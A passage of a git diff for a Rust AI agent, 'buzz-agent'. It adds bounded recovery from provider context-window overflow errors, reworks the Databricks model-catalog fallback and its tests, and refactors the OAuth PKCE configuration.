v2_discovery_failure_fallback_leads_with_configured_model() { - let result = discovery_failure_fallback(Provider::DatabricksV2, "databricks-claude-opus-5"); - let ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect(); - - // The running model must be representable in the picker even when - // discovery failed, so it leads the fallback catalog. - assert_eq!(ids.first(), Some(&"databricks-claude-opus-5")); - for known in DATABRICKS_V2_KNOWN_MODELS { - assert!(ids.contains(known), "fallback must retain '{known}'"); - } - } - - #[test] - fn v2_discovery_failure_fallback_does_not_duplicate_configured_model() { - let configured = DATABRICKS_V2_KNOWN_MODELS[0]; - let result = discovery_failure_fallback(Provider::DatabricksV2, configured); - let occurrences = result.iter().filter(|m| m.id == configured).count(); - assert_eq!(occurrences, 1, "got: {result:?}"); - assert_eq!(result.len(), DATABRICKS_V2_KNOWN_MODELS.len()); - } - - #[test] - fn v2_discovery_failure_fallback_tolerates_blank_configured_model() { - for configured in ["", " "] { - let result = discovery_failure_fallback(Provider::DatabricksV2, configured); - let ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect(); - assert_eq!(ids, DATABRICKS_V2_KNOWN_MODELS.to_vec()); - } - } - - #[test] - fn v2_discovery_failure_fallback_dedupes_a_padded_configured_model() { - // `DATABRICKS_MODEL=" databricks-gpt-5-5 "` reaches here untrimmed, and an - // untrimmed comparison would list the model twice — once padded, once from - // the known slate. - let configured = DATABRICKS_V2_KNOWN_MODELS[0]; - let result = - discovery_failure_fallback(Provider::DatabricksV2, &format!(" {configured} ")); - let ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect(); - assert_eq!(ids, DATABRICKS_V2_KNOWN_MODELS.to_vec()); - } } diff --git a/crates/buzz-agent/src/config.rs b/crates/buzz-agent/src/config.rs index afbda5379d..439e49f4e5 100644 --- a/crates/buzz-agent/src/config.rs +++ b/crates/buzz-agent/src/config.rs @@ -657,6 +657,21 @@ pub const HANDOFF_ORIGINAL_TASK_MAX_BYTES: usize = 16 * 1024; pub const HANDOFF_MAX_TOOL_NAMES: usize = 20; +/// Maximum reactive context-recovery attempts per `run()`. A provider +/// context-window 400 is recoverable — shrink history and retry — but the +/// retry must be bounded: `max_rounds` defaults to `0` (unbounded), so without +/// its own budget a request that stays oversized after every rescue would +/// retry forever. On exhaustion the error surfaces to the caller, which is a +/// visible failure rather than a silent infinite rescue. +pub const MAX_CONTEXT_RECOVERIES_PER_RUN: u32 = 3; + +/// Floor for the reactive handoff's history-prompt budget, in bytes. Each +/// recovery attempt halves the budget so the rescue summarize call can escape +/// an overstated `max_context_tokens`, but halving must terminate: below this +/// the prompt can no longer carry a useful summary, so the recovery gives up +/// and surfaces the error instead of issuing ever-smaller doomed requests. +pub const HANDOFF_MIN_PROMPT_BUDGET_BYTES: usize = 4 * 1024; + const DEFAULT_SYSTEM_PROMPT: &str = "You are buzz-agent. Use the provided tools to act. Tool calls are your only output."; @@ -714,6 +729,11 @@ pub struct Config { /// operators lower/raise it for other models. Set via /// `BUZZ_AGENT_MAX_CONTEXT_TOKENS`. pub max_context_tokens: u64, + /// Maximum context-handoff attempts permitted within a single + /// `session/prompt` turn. Caps runaway compaction loops inside one turn; + /// does NOT limit handoffs across a session's lifetime — a long-lived + /// session can compact on every successive turn without hitting this bound. + /// Set via `BUZZ_AGENT_MAX_HANDOFFS`. Default 10. pub max_handoffs: usize, pub max_parallel_tools: usize, pub hook_timeout: Duration, diff --git a/crates/buzz-agent/src/handoff.rs b/crates/buzz-agent/src/handoff.rs index 3b0feefecf..5fdbc3079d 100644 --- a/crates/buzz-agent/src/handoff.rs +++ b/crates/buzz-agent/src/handoff.rs @@ -1,6 +1,7 @@ use crate::agent::RunCtx; use crate::config::{ - HANDOFF_MAX_OUTPUT_TOKENS, HANDOFF_MAX_TOOL_NAMES, HANDOFF_ORIGINAL_TASK_MAX_BYTES, + HANDOFF_MAX_OUTPUT_TOKENS, HANDOFF_MAX_TOOL_NAMES, HANDOFF_MIN_PROMPT_BUDGET_BYTES, + HANDOFF_ORIGINAL_TASK_MAX_BYTES, MAX_CONTEXT_RECOVERIES_PER_RUN, }; use crate::types::HistoryItem; @@ -22,24 +23,147 @@ pub(crate) enum HandoffOutcome { Cancelled, } +/// Result of the reactive context-recovery ladder. +pub(crate) enum ContextRecovery { + /// History was reset; the caller should retry the request. + Recovered, + /// Cancelled mid-recovery. + Cancelled, + /// No rescue remains — the caller must surface the provider error. Either + /// the per-`run()` budget is spent or the prompt budget fell below the + /// floor where a summary can still be useful. + Exhausted, +} + const HANDOFF_SYSTEM_PROMPT: &str = "You are generating a context handoff summary for the next \ turn of an autonomous agent. Be concise but thorough. Cover: what the original task was, what \ you accomplished, key decisions made, what remains, and one concrete next step. Output plain \ text only — no tool calls, no JSON. Stay under 8192 tokens."; impl RunCtx<'_> { - pub(crate) async fn maybe_handoff(&mut self) -> HandoffOutcome { + pub(crate) async fn maybe_handoff(&mut self, handoff_attempts: &mut usize) -> HandoffOutcome { if !self.should_handoff() { return HandoffOutcome::Skipped; } - if *self.handoff_count >= self.cfg.max_handoffs { - tracing::info!( - "handoff cap reached ({}); using truncation", - self.cfg.max_handoffs + if *handoff_attempts >= self.cfg.max_handoffs { + let projected = self.projected_handoff_input_tokens(); + let threshold = + token_threshold(self.cfg.max_context_tokens, self.cfg.max_output_tokens); + tracing::warn!( + session_id = self.session_id, + reason = "preflight", + handoff_attempts = *handoff_attempts, + max_handoffs = self.cfg.max_handoffs, + projected_tokens = projected, + threshold_tokens = threshold, + "handoff cap reached; using truncation", ); return HandoffOutcome::Skipped; } - let prompt = self.build_handoff_prompt(); + // Consume one attempt slot before calling handoff(). This ensures + // that empty-summary, summarize-error, and cancellation outcomes all + // burn budget — not just successful compactions — so the cap cannot + // be bypassed by a flaky summarizer. + *handoff_attempts += 1; + self.handoff(None).await + } + + /// Handoff forced by a provider context-window rejection, bypassing both + /// gates in [`Self::maybe_handoff`]. + /// + /// The gates exist to *predict* overflow; a 400 naming a context-length + /// overflow is overflow already observed, so neither prediction applies. + /// `should_handoff()` reads a token count frozen at the last SUCCESSFUL + /// request (a failed request reports no usage), so it is under threshold by + /// construction — that frozen reading is the permanent stick. And + /// `max_handoffs` is a cost cap whose only alternative here is a request + /// that cannot succeed. + /// + /// `history_budget_bytes` is explicit rather than derived from + /// `cfg.max_context_tokens`: that window is the quantity the provider just + /// contradicted, so the recovery ladder must not be computed from it. + pub(crate) async fn forced_handoff(&mut self, history_budget_bytes: usize) -> HandoffOutcome { + tracing::warn!( + "provider reported context overflow; forcing handoff (history budget {history_budget_bytes} bytes)" + ); + self.handoff(Some(history_budget_bytes)).await + } + + /// The reactive context-recovery ladder, run after the provider rejected a + /// request with a context-window 400. + /// + /// `attempts` is the caller's per-`run()` recovery counter, advanced here as + /// rungs are consumed. The caller owns it so the budget spans every + /// context-400 in the turn, not just the rungs of one ladder. + /// + /// The shrink schedule is anchored on the history that was just *observed* + /// to be too large, halving from there — not on `cfg.max_context_tokens`, + /// which the provider just contradicted and which may be overstated by an + /// unknown factor. Halving needs no calibration: by the third rung it is at + /// 1/8 of the rejected size. + /// + /// Loops rather than returning after one rung because the summarize call + /// travels the same provider path and can be rejected for the same reason. + /// Treating that as unrecoverable would reproduce the very stick this fixes: + /// the next rung halves the summarizer's own prompt, which is the only way + /// out. + /// + /// Gives up when the next budget would fall below + /// [`HANDOFF_MIN_PROMPT_BUDGET_BYTES`]. That can happen on the FIRST rung + /// when history is already small — correct, not premature: if a few KiB of + /// history still overflows the window, the overflow is dominated by what a + /// handoff cannot shrink (system prompt, tool schemas, the live user + /// prompt), so further halving would only issue smaller doomed requests in + /// place of a clear error. + pub(crate) async fn recover_from_context_overflow( + &mut self, + attempts: &mut u32, + ) -> ContextRecovery { + let rejected_bytes: usize = self + .history + .iter() + .map(HistoryItem::context_pressure_bytes) + .sum(); + loop { + if *attempts >= MAX_CONTEXT_RECOVERIES_PER_RUN { + tracing::error!( + "context recovery budget spent ({MAX_CONTEXT_RECOVERIES_PER_RUN} attempts this turn); surfacing provider error" + ); + return ContextRecovery::Exhausted; + } + // Shift by `attempts + 1`: the first rung already halves, since + // rebuilding the rejected size would just fail again. + let shift = (*attempts + 1).min(usize::BITS - 1); + let budget = rejected_bytes >> shift; + *attempts += 1; + if budget < HANDOFF_MIN_PROMPT_BUDGET_BYTES { + tracing::error!( + "context recovery would shrink the handoff prompt to {budget} bytes, below \ + the {HANDOFF_MIN_PROMPT_BUDGET_BYTES}-byte floor (history {rejected_bytes} \ + bytes); surfacing provider error" + ); + return ContextRecovery::Exhausted; + } + match self.forced_handoff(budget).await { + HandoffOutcome::Performed => return ContextRecovery::Recovered, + HandoffOutcome::Cancelled => return ContextRecovery::Cancelled, + // Summarizer errored or returned nothing — possibly because its + // own prompt overflowed. Truncation is not a usable fallback + // (it sizes against the request-body budget, not context + // pressure), so take the next rung with a smaller prompt. + HandoffOutcome::Skipped => { + tracing::warn!( + "forced handoff at {budget} bytes did not run; shrinking further" + ) + } + } + } + } + + /// The handoff mechanism itself: summarize, reset, re-seat the live prompt. + /// Holds no gate — callers decide whether a handoff is warranted. + async fn handoff(&mut self, history_budget_bytes: Option) -> HandoffOutcome { + let prompt = self.build_handoff_prompt(history_budget_bytes); let tokens_before = self.projected_handoff_input_tokens(); let summary = tokio::select! { biased; @@ -164,7 +288,10 @@ impl RunCtx<'_> { } } - fn build_handoff_prompt(&self) -> String { + /// Build the summarizer prompt. `history_budget_bytes` overrides the + /// budget normally derived from `cfg.max_context_tokens`; `None` keeps the + /// derived value, which is what the proactive path uses. + fn build_handoff_prompt(&self, history_budget_bytes: Option) -> String { let mut head = String::new(); head.push_str(&format!( "[Internal handoff #{} — context reset]\n\n", @@ -192,11 +319,22 @@ impl RunCtx<'_> { (2) what was accomplished, (3) key decisions, (4) what remains, \ (5) one concrete next step. Be concise but thorough. Plain text.\n"; let history_header = "\n# Session History (oldest first)\n"; - let prompt_budget = handoff_prompt_budget_bytes( - self.cfg.max_context_tokens, - HANDOFF_MAX_OUTPUT_TOKENS, - head.len() + history_header.len() + tail.len(), - ); + let fixed_bytes = head.len() + history_header.len() + tail.len(); + // An explicit budget is the allowance for the whole prompt, so subtract + // the fixed frame from it exactly as the derived path does — otherwise + // a caller's ceiling would be silently exceeded by the frame. When the + // frame alone is larger than the budget, history drops to zero and the + // frame is what remains: it is already independently clamped + // (`HANDOFF_ORIGINAL_TASK_MAX_BYTES`, `HANDOFF_MAX_TOOL_NAMES`) and is + // not reducible from here. + let prompt_budget = match history_budget_bytes { + Some(explicit) => explicit.saturating_sub(fixed_bytes), + None => handoff_prompt_budget_bytes( + self.cfg.max_context_tokens, + HANDOFF_MAX_OUTPUT_TOKENS, + fixed_bytes, + ), + }; let mut snippets: Vec = Vec::new(); let mut snippets_bytes = 0usize; diff --git a/crates/buzz-agent/src/lib.rs b/crates/buzz-agent/src/lib.rs index 9a45bf4c98..940bd2a9c2 100644 --- a/crates/buzz-agent/src/lib.rs +++ b/crates/buzz-agent/src/lib.rs @@ -54,10 +54,10 @@ struct App { llm: Arc, sessions: Mutex>, /// Cached model catalog for Databricks providers. Populated lazily on the - /// first successful `session/new` discovery call. When discovery fails (e.g. - /// auth missing or a transient network error) the cell is intentionally left - /// empty so the next `session/new` call retries — a transient failure never - /// pins the degraded fallback catalog for the process lifetime. + /// first successful `session/new` discovery call. Failed discovery is never + /// cached: static-token authentication errors reject session creation, while + /// OAuth authentication and non-auth errors use the configured model for that + /// response and retry on the next session. models_cache: tokio::sync::OnceCell>, } @@ -135,6 +135,12 @@ pub fn run() -> Result<(), Box> { Ok(()) } +pub async fn authenticate_databricks(host: &str) -> Result<(), AgentError> { + auth::PkceOAuthTokenSource::new(llm::databricks_pkce_config(host))? + .interactive_login() + .await +} + /// `buzz-agent auth ` — run the interactive auth flow for a /// provider and persist the result, then exit. Today this supports Databricks /// OAuth 2.0 PKCE. Reads `DATABRICKS_HOST` from env; needs a browser on the @@ -145,18 +151,7 @@ async fn auth_subcommand(args: &[String]) -> Result<(), Box { let host = std::env::var("DATABRICKS_HOST") .map_err(|_| "auth databricks: DATABRICKS_HOST required")?; - let pkce = auth::PkceOAuthConfig { - discovery_url: format!( - "{}/oidc/.well-known/oauth-authorization-server", - host.trim_end_matches('/') - ), - client_id: "databricks-cli".into(), - scopes: vec!["all-apis".into(), "offline_access".into()], - cache_namespace: "databricks".into(), - cache_dir_override: None, - }; - let src = auth::PkceOAuthTokenSource::new(pkce)?; - src.interactive_login().await?; + authenticate_databricks(&host).await?; eprintln!("Authenticated. Token cached under ~/.config/buzz-agent/oauth/databricks/."); Ok(()) } @@ -317,26 +312,27 @@ async fn initialize(id: Value, params: Value, wire_tx: &WireSender) { /// /// Tries to use a previously-cached successful discovery result. If the cache is empty, /// runs `discover` and — on success — populates the cache for future calls. On failure -/// the cell is intentionally left empty so the next session retries; the provider-aware -/// fallback is returned for the immediate response only. +/// the error is returned and the cell is intentionally left empty so the next session retries. /// /// Extracted from `session_new` so that tests can drive this path with an injected /// discovery future without requiring a full `App` / transport stack. async fn resolve_models_catalog( cache: &tokio::sync::OnceCell>, - provider: crate::config::Provider, - model: &str, discover: impl std::future::Future, AgentError>>, -) -> Vec { - match cache.get_or_try_init(|| discover).await { - Ok(cached) => cached.clone(), - Err(e) => { - tracing::warn!( - "model catalog discovery failed: {e}; using fallback (will retry next session)" - ); - crate::catalog::discovery_failure_fallback(provider, model) - } - } +) -> Result, AgentError> { + cache.get_or_try_init(|| discover).await.cloned() +} + +/// Return the configured model as a one-entry catalog for this response. +/// +/// This value is never written to `models_cache`; failed discovery must be retried by +/// the next session rather than pinning degraded state for the process lifetime. +fn configured_model_fallback(model: &str) -> Vec { + let model = model.trim().to_string(); + vec![ModelEntry { + id: model.clone(), + name: model, + }] } async fn session_new(app: &Arc, id: Value, params: Value, wire_tx: &WireSender) { @@ -400,6 +396,50 @@ async fn session_new(app: &Arc, id: Value, params: Value, wire_tx: &WireSen } Arc::from(prompt) }; + // Resolve the model catalog before spawning MCP servers or registering a + // session. A configured static credential cannot recover interactively, so + // its authentication failure rejects before allocation. OAuth authentication + // failures and other catalog failures use only the configured model for this + // response, without caching, so session/prompt can run the existing PKCE flow. + let available_models: Vec = { + use crate::config::Provider; + match app.cfg.provider { + Provider::Databricks | Provider::DatabricksV2 => { + let models = match resolve_models_catalog( + &app.models_cache, + discover_databricks_models(&app.cfg), + ) + .await + { + Ok(models) => models, + Err(error @ AgentError::LlmAuth(_)) if !app.cfg.api_key.is_empty() => { + return reject(wire_tx, id, error.json_rpc_code(), &error.to_string()) + .await; + } + Err(error @ AgentError::LlmAuth(_)) => { + tracing::warn!( + error = %error, + "Databricks OAuth model catalog unavailable; using configured model" + ); + configured_model_fallback(&app.cfg.model) + } + Err(error) => { + tracing::warn!( + error = %error, + "Databricks model catalog unavailable; using configured model" + ); + configured_model_fallback(&app.cfg.model) + } + }; + models + .iter() + .map(|m| json!({ "modelId": m.id, "name": m.name })) + .collect() + } + _ => vec![json!({ "modelId": app.cfg.model, "name": app.cfg.model })], + } + }; + let mcp = match McpRegistry::spawn_all(&app.cfg, &p.mcp_servers, &p.cwd).await { Ok(m) => Arc::new(m), Err(e) => return reject(wire_tx, id, e.json_rpc_code(), &e.to_string()).await, @@ -445,36 +485,6 @@ async fn session_new(app: &Arc, id: Value, params: Value, wire_tx: &WireSen ); drop(sessions); - // Build a models catalog for the `session/new` response. For Databricks - // providers this advertises available models so the desktop ModelPicker and - // pool can resolve `session/set_model` switches. For Anthropic/OpenAI we - // report only the configured model — live switching on those providers - // effectively requires respawn. - // - // `models_cache` caches only a successful discovery result (`get_or_try_init` - // leaves the cell empty on error so the next `session/new` call retries). On - // discovery failure the fallback is used for the immediate response without - // being written to the cell. - let available_models: Vec = { - use crate::config::Provider; - match app.cfg.provider { - Provider::Databricks | Provider::DatabricksV2 => { - let models = resolve_models_catalog( - &app.models_cache, - app.cfg.provider, - &app.cfg.model, - discover_databricks_models(&app.cfg), - ) - .await; - models - .iter() - .map(|m| json!({ "modelId": m.id, "name": m.name })) - .collect() - } - _ => vec![json!({ "modelId": app.cfg.model, "name": app.cfg.model })], - } - }; - wire::send( wire_tx, wire::ok( @@ -658,6 +668,7 @@ async fn run_prompt(app: Arc, id: Value, params: Value, wire_tx: WireSender effective_model_override, run_id, mut steer_rx, + usage_baseline, ) = match acquire_session(&app, &p.session_id).await { Ok(v) => v, Err(reason) => { @@ -709,6 +720,7 @@ async fn run_prompt(app: Arc, id: Value, params: Value, wire_tx: WireSender turn_output_tokens: &mut turn_output_tokens, turn_cached_input_tokens: &mut turn_cached_input_tokens, turn_total_state: &mut turn_total_state, + usage_baseline, }; let result = ctx.run(p.prompt).await; if let Some(s) = app.sessions.lock().await.get_mut(&sid) { @@ -766,28 +778,16 @@ async fn run_prompt(app: Arc, id: Value, params: Value, wire_tx: WireSender if let Some((accumulated_in, accumulated_out, accumulated_cached, accumulated_total)) = accumulated { - // Build the usage_update payload. `accumulatedTotalTokens` is only - // included when the cumulative is exactly known — never when Unseen - // (no total ever observed) or Unknown (at least one turn lacked a - // total). A goose consumer that doesn't recognise the field ignores it. - let mut update = serde_json::json!({ - "sessionUpdate": "usage_update", - // used: total tokens as a context-usage proxy; - // contextLimit: 0 (buzz-agent has no context limit tracking). - "used": accumulated_in.saturating_add(accumulated_out), - "contextLimit": 0u64, - "accumulatedInputTokens": accumulated_in, - "accumulatedOutputTokens": accumulated_out, - // A subset of accumulatedInputTokens, not an addition to - // it. Extends goose's usage_update shape; a consumer that - // does not know the field ignores it and prices exactly as - // it did before. - "accumulatedCachedInputTokens": accumulated_cached, - "model": effective_model_str, - }); - if let crate::types::TurnTotalState::Exact(total) = accumulated_total { - update["accumulatedTotalTokens"] = serde_json::json!(total); - } + // Same builder the run loop uses for its per-round reports, so the + // final notification is shape-identical to the ones that preceded + // it and a consumer taking the high-water mark lands on this one. + let update = wire::usage_update_payload( + accumulated_in, + accumulated_out, + accumulated_cached, + accumulated_total, + effective_model_str, + ); wire::send(&wire_tx, goose_session_update(&sid, update)).await; } } @@ -821,6 +821,7 @@ async fn acquire_session( Option, String, mpsc::UnboundedReceiver>, + crate::types::SessionUsageBaseline, ), &'static str, > { @@ -857,6 +858,17 @@ async fn acquire_session( effective_model, run_id, steer_rx, + // Snapshot rather than a handle: the run loop reports cumulative usage + // after every LLM round, and taking the sessions lock on each of those + // would serialise concurrent sessions behind one another's provider + // round-trips. Nothing else advances these counters while this turn + // holds `busy`, so the snapshot cannot go stale under it. + crate::types::SessionUsageBaseline { + input_tokens: s.accumulated_input_tokens, + output_tokens: s.accumulated_output_tokens, + cached_input_tokens: s.accumulated_cached_input_tokens, + total_state: s.accumulated_total_state, + }, )) } @@ -868,8 +880,7 @@ fn session_token() -> Result { #[cfg(test)] mod tests { - use crate::catalog::{discovery_failure_fallback, ModelEntry, DATABRICKS_V2_KNOWN_MODELS}; - use crate::config::Provider; + use crate::catalog::ModelEntry; use crate::types::AgentError; /// Regression: a discovery error must not pin the models_cache for the process lifetime. @@ -882,23 +893,14 @@ mod tests { #[tokio::test] async fn models_cache_does_not_pin_on_discovery_error() { let cache: tokio::sync::OnceCell> = tokio::sync::OnceCell::new(); - let provider = Provider::DatabricksV2; - let model = "my-configured-model"; - // First call — discovery fails. Cell must remain empty; fallback returned. - let first = crate::resolve_models_catalog(&cache, provider, model, async { - Err::, AgentError>(AgentError::LlmAuth("transient failure".into())) + // First call — discovery failure is surfaced and leaves the cell empty. + let error = crate::resolve_models_catalog(&cache, async { + Err::, AgentError>(AgentError::Llm("transient failure".into())) }) - .await; - assert!( - cache.get().is_none(), - "cell must be empty after a discovery error — next session must retry" - ); - let expected_fallback = discovery_failure_fallback(provider, model); - assert_eq!( - first, expected_fallback, - "error path must return the provider-aware fallback" - ); + .await + .unwrap_err(); + assert!(matches!(error, AgentError::Llm(_))); // Second call — discovery succeeds. Cell is now populated and returned. let discovered = vec![ModelEntry { @@ -906,10 +908,11 @@ mod tests { name: "databricks-meta-llama-3-1-70b-instruct".into(), }]; let discovered_clone = discovered.clone(); - let second = crate::resolve_models_catalog(&cache, provider, model, async move { + let second = crate::resolve_models_catalog(&cache, async move { Ok::, AgentError>(discovered_clone) }) - .await; + .await + .unwrap(); assert_eq!( second, discovered, "second call must return the discovered catalog" @@ -925,78 +928,40 @@ mod tests { ); } - /// Regression: legacy `Provider::Databricks` must not advertise v2 AI Gateway model IDs - /// on discovery failure (Wes W1). This test calls `discovery_failure_fallback` directly — - /// the same helper used by `session_new` — and verifies the split behavior. It FAILS if - /// the arm is un-split (i.e., if both providers return the v2 catalog on failure). - #[test] - fn databricks_discovery_failure_fallback_legacy_returns_configured_model_only() { - let configured = "my-serving-endpoint"; - let result = discovery_failure_fallback(Provider::Databricks, configured); - - // Legacy Databricks must advertise exactly the configured model — nothing more. - assert_eq!( - result.len(), - 1, - "legacy Databricks fallback must contain exactly one entry, got: {result:?}" - ); - assert_eq!( - result[0].id, configured, - "legacy Databricks fallback must be the configured model" - ); + #[tokio::test] + async fn models_catalog_does_not_cache_oauth_auth_fallback() { + let cache: tokio::sync::OnceCell> = tokio::sync::OnceCell::new(); + let error = crate::resolve_models_catalog(&cache, async { + Err::, AgentError>(AgentError::LlmAuth("sign in again".into())) + }) + .await + .unwrap_err(); - // Crucially: must NOT contain any DATABRICKS_V2_KNOWN_MODELS entry. - let v2_ids: Vec<&str> = DATABRICKS_V2_KNOWN_MODELS.to_vec(); - for id in &result { - assert!( - !v2_ids.contains(&id.id.as_str()), - "legacy Databricks fallback must not include v2 ID '{}' — that endpoint \ - may not be served by /serving-endpoints/{{model}}/invocations", - id.id - ); - } - } + assert!(matches!(error, AgentError::LlmAuth(_))); + assert!(cache.get().is_none()); - #[test] - fn databricks_discovery_failure_fallback_v2_returns_known_models_catalog() { - let configured = "my-configured-model"; - let result = discovery_failure_fallback(Provider::DatabricksV2, configured); + let discovered = vec![ModelEntry { + id: "authenticated-model".into(), + name: "authenticated-model".into(), + }]; + let result = crate::resolve_models_catalog(&cache, async { + Ok::, AgentError>(discovered.clone()) + }) + .await + .unwrap(); - // DatabricksV2 must return the full DATABRICKS_V2_KNOWN_MODELS list, - // plus the configured model so the picker can still represent the model - // the agent is actually running. - assert_eq!( - result.len(), - DATABRICKS_V2_KNOWN_MODELS.len() + 1, - "DatabricksV2 fallback must return all known models plus the configured model" - ); - let result_ids: Vec<&str> = result.iter().map(|m| m.id.as_str()).collect(); - for known_id in DATABRICKS_V2_KNOWN_MODELS { - assert!( - result_ids.contains(known_id), - "DatabricksV2 fallback must include known model '{known_id}'" - ); - } - assert!( - result_ids.contains(&configured), - "DatabricksV2 fallback must include the configured model" - ); + assert_eq!(result, discovered); + assert_eq!(cache.get(), Some(&discovered)); } #[test] - fn databricks_discovery_failure_fallback_split_verified() { - // This test FAILS if the v1/v2 arms are merged back into one — it directly verifies - // that the two providers' error-path behavior diverges (Wes W1 protection). - let v1 = discovery_failure_fallback(Provider::Databricks, "my-endpoint"); - let v2 = discovery_failure_fallback(Provider::DatabricksV2, "my-endpoint"); - - let v1_ids: Vec<&str> = v1.iter().map(|m| m.id.as_str()).collect(); - let v2_ids: Vec<&str> = v2.iter().map(|m| m.id.as_str()).collect(); - - assert_ne!( - v1_ids, v2_ids, - "Provider::Databricks and Provider::DatabricksV2 must return different \ - fallback catalogs — if they are equal, the W1 arm split has been reverted" + fn configured_model_fallback_is_trimmed_and_singular() { + assert_eq!( + crate::configured_model_fallback(" configured-model "), + vec![ModelEntry { + id: "configured-model".into(), + name: "configured-model".into(), + }] ); } } diff --git a/crates/buzz-agent/src/llm.rs b/crates/buzz-agent/src/llm.rs index 73c7e1faf2..267b2d21b5 100644 --- a/crates/buzz-agent/src/llm.rs +++ b/crates/buzz-agent/src/llm.rs @@ -130,22 +130,13 @@ impl Llm { ) -> Result { let effort = cfg.thinking_effort; let result = match cfg.provider { - Provider::Anthropic => { - let v = self - .post_anthropic( - cfg, - &anthropic_body( - cfg, - system_prompt, - history, - tools, - effective_model, - effort, - ), - ) - .await?; - parse_anthropic(v) - } + Provider::Anthropic => self + .post_anthropic( + cfg, + &anthropic_body(cfg, system_prompt, history, tools, effective_model, effort), + ) + .await + .and_then(parse_anthropic), Provider::OpenRouter => { let mut body = openai_body(cfg, system_prompt, history, tools, effective_model, None); @@ -155,8 +146,9 @@ impl Llm { effective_model, cfg.prompt_caching, ); - let v = self.post_openrouter(cfg, &body).await?; - parse_openai_with_reasoning_details(v) + self.post_openrouter(cfg, &body) + .await + .and_then(parse_openai_with_reasoning_details) } Provider::OpenAi | Provider::Databricks => { self.openai_request( @@ -230,11 +222,21 @@ impl Llm { // map_err here prepends `(model-name) ` to the inner string only. // This is the single place all provider paths converge, so the mapping // is centralized and never needs to be repeated in each provider arm. + // Every arm above returns its `Result` into this mapper rather than + // using `?` — an early return would silently skip the stamp, which is + // exactly what the Anthropic and OpenRouter arms used to do. result.map_err(|e| match e { AgentError::Llm(s) => AgentError::Llm(format!("({effective_model}) {s}")), AgentError::LlmModelNotFound(s) => { AgentError::LlmModelNotFound(format!("({effective_model}) {s}")) } + // Stamped like the others: this is the error most likely to be read + // during an incident, so it must name the model whose window was + // exceeded. Without an explicit arm it would fall through `other` + // and be the only unstamped provider error. + AgentError::LlmContextExceeded(s) => { + AgentError::LlmContextExceeded(format!("({effective_model}) {s}")) + } other => other, }) } @@ -1084,6 +1086,29 @@ fn responses_body( body } +/// Narrow matcher for "the input exceeded the model's context window" provider +/// errors — the ground-truth signal that history must shrink. Only consulted +/// alongside an HTTP 400 (see the two `!status.is_success()` classification +/// sites), never on its own: the phrases below are specific, but pairing them +/// with the status keeps an unrelated 4xx that happens to quote one of them +/// from triggering a recovery. +/// +/// Deliberately tight. A generic 400 must stay `AgentError::Llm` so it remains +/// terminal — misclassifying one as recoverable would spend the whole recovery +/// budget on an error that shrinking history cannot fix, replacing a clear +/// failure with a slow one. +fn is_context_length_error(body: &str) -> bool { + let b = body.to_ascii_lowercase(); + // OpenAI/Databricks machine-readable code; the most reliable marker. + b.contains("context_length_exceeded") + // Prose forms: OpenAI's classic phrasing and the Databricks gateway's + // "context window of this model" variant seen in both bug reports. + || b.contains("maximum context length") + || b.contains("context window") + // Anthropic: "prompt is too long: N tokens > M maximum". + || b.contains("prompt is too long") +} + /// Narrow matcher for "you should be on the Responses API" provider errors, /// the signal we use to auto-upgrade. Triggers on the literal path /// `/v1/responses` (Databricks GPT-5.5 phrasing) or the prose @@ -1706,6 +1731,11 @@ fn is_retryable_transport_error(e: &reqwest::Error) -> bool { e.is_timeout() || e.is_connect() || e.is_request() } +fn is_unsupported_image_input_error(body: &str) -> bool { + body.to_ascii_lowercase() + .contains("no endpoints found that support image input") +} + /// Build the terminal `AgentError::Llm` for a `post()` exit that has given up /// retrying — persistent retryable status, transport failure, or a body-read /// break. `detail` carries the specific cause (status/body, or the transport @@ -1864,15 +1894,30 @@ where // upstream capacity — no retry was attempted, so cumulative duration // would be misleading. if status == 404 { + let error_body = read_error_body(resp).await; + if is_unsupported_image_input_error(&error_body) { + return Err(PostError::Agent(AgentError::UnsupportedImageInput( + error_body, + ))); + } return Err(PostError::Agent(AgentError::LlmModelNotFound(format!( - "{status}: {}", - read_error_body(resp).await + "{status}: {error_body}" )))); } if !status.is_success() { + let body = read_error_body(resp).await; + // Context-window overflow is a recovery signal, not a terminal + // error: classify it here, where status and body are still separate + // values. Callers must never re-derive this from the formatted + // string — `Llm::complete` stamps the model name onto it before the + // agent loop ever sees it. + if status == 400 && is_context_length_error(&body) { + return Err(PostError::Agent(AgentError::LlmContextExceeded(format!( + "{status}: {body}" + )))); + } return Err(PostError::Agent(AgentError::Llm(format!( - "{status}: {}", - read_error_body(resp).await + "{status}: {body}" )))); } if let Some(len) = resp.content_length() { @@ -1910,6 +1955,22 @@ where unreachable!("loop always returns on its final iteration (attempt + 1 == MAX_RETRIES)"); } +pub(crate) fn databricks_pkce_config(host: &str) -> PkceOAuthConfig { + PkceOAuthConfig { + discovery_url: format!( + "{}/oidc/.well-known/oauth-authorization-server", + host.trim_end_matches('/') + ), + client_id: DATABRICKS_CLIENT_ID.into(), + scopes: DATABRICKS_OAUTH_SCOPES + .iter() + .map(|scope| (*scope).into()) + .collect(), + cache_namespace: "databricks".into(), + cache_dir_override: None, + } +} + /// Build the `TokenSource` for the configured provider. /// /// - `Provider::Anthropic`: a static source seeded from `cfg.api_key`. It's @@ -1929,21 +1990,9 @@ pub(crate) fn build_token_source(cfg: &Config) -> Result, A if !cfg.api_key.is_empty() { return Ok(Arc::new(StaticTokenSource::new(cfg.api_key.clone()))); } - let discovery_url = format!( - "{}/oidc/.well-known/oauth-authorization-server", - cfg.base_url.trim_end_matches('/') - ); - let pkce = PkceOAuthConfig { - discovery_url, - client_id: DATABRICKS_CLIENT_ID.into(), - scopes: DATABRICKS_OAUTH_SCOPES - .iter() - .map(|s| (*s).into()) - .collect(), - cache_namespace: "databricks".into(), - cache_dir_override: None, - }; - Ok(PkceOAuthTokenSource::new(pkce)?) + Ok(PkceOAuthTokenSource::new(databricks_pkce_config( + &cfg.base_url, + ))?) } } } @@ -2113,6 +2162,9 @@ async fn openrouter_post( // about the model, and reporting a parameter problem as // `LlmModelNotFound` (or vice versa) sends the user to the wrong fix. let error_body = read_error_body(resp).await; + if is_unsupported_image_input_error(&error_body) { + return Err(AgentError::UnsupportedImageInput(error_body)); + } if error_body.contains("No endpoints found that can handle the requested parameters") { return Err(openrouter_parameter_routing_error(&error_body)); } @@ -2177,10 +2229,15 @@ async fn openrouter_post( }; } if !status.is_success() { - return Err(AgentError::Llm(format!( - "{status}: {}", - read_error_body(resp).await - ))); + let body = 